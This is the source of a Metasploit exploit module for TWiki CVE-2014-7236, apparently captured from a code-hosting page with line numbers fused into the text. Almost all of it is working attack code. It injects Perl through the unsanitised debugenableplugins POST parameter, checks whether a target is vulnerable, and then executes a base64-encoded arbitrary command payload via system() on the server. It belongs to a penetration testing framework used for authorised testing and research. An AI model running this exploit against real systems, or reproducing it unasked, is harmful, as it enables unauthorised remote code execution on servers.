Path: blob/master/modules/exploits/unix/http/twiki_debug_plugins.rb
21633 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'TWiki Debugenableplugins Remote Code Execution',15'Description' => %q{16TWiki 4.0.x-6.0.0 contains a vulnerability in the Debug functionality.17The value of the debugenableplugins parameter is used without proper sanitization18in an Perl eval statement which allows remote code execution.19},20'Author' => [21'Netanel Rubin', # from Check Point - Discovery22'h0ng10', # Metasploit Module2324],25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '2014-7236'],28[ 'OSVDB', '112977'],29[ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2014-7236']30],31'Privileged' => false,32'Targets' => [33[34'Automatic',35{36'Payload' =>37{38'BadChars' => "",39'Compat' =>40{41'PayloadType' => 'cmd',42'RequiredCmd' => 'generic perl python php',43}44},45'Platform' => ['unix'],46'Arch' => ARCH_CMD47}48]49],50'DefaultTarget' => 0,51'DisclosureDate' => '2014-10-09',52'Notes' => {53'Reliability' => UNKNOWN_RELIABILITY,54'Stability' => UNKNOWN_STABILITY,55'SideEffects' => UNKNOWN_SIDE_EFFECTS56}57)58)5960register_options(61[62OptString.new('TARGETURI', [ true, "TWiki path", '/do/view/Main/WebHome' ]),63OptString.new('PLUGIN', [true, "A existing TWiki Plugin", 'BackupRestorePlugin'])64]65)66end6768def send_code(perl_code)69uri = target_uri.path70data = "debugenableplugins=#{datastore['PLUGIN']}%3b" + CGI.escape(perl_code) + "%3bexit"7172res = send_request_cgi!({73'method' => 'POST',74'uri' => uri,75'data' => data76})7778return res79end8081def check82rand_1 = rand_text_alpha(5)83rand_2 = rand_text_alpha(5)8485code = "print(\"Content-Type:text/html\\r\\n\\r\\n#{rand_1}\".\"#{rand_2}\")"86res = send_code(code)8788if res and res.code == 20089return CheckCode::Vulnerable if res.body == rand_1 + rand_290end91CheckCode::Unknown92end9394def exploit95code = "print(\"Content-Type:text/html\\r\\n\\r\\n\");"96code += "require('MIME/Base64.pm');MIME::Base64->import();"97code += "system(decode_base64('#{Rex::Text.encode_base64(payload.encoded)}'));exit"98res = send_code(code)99handler100end101end102103104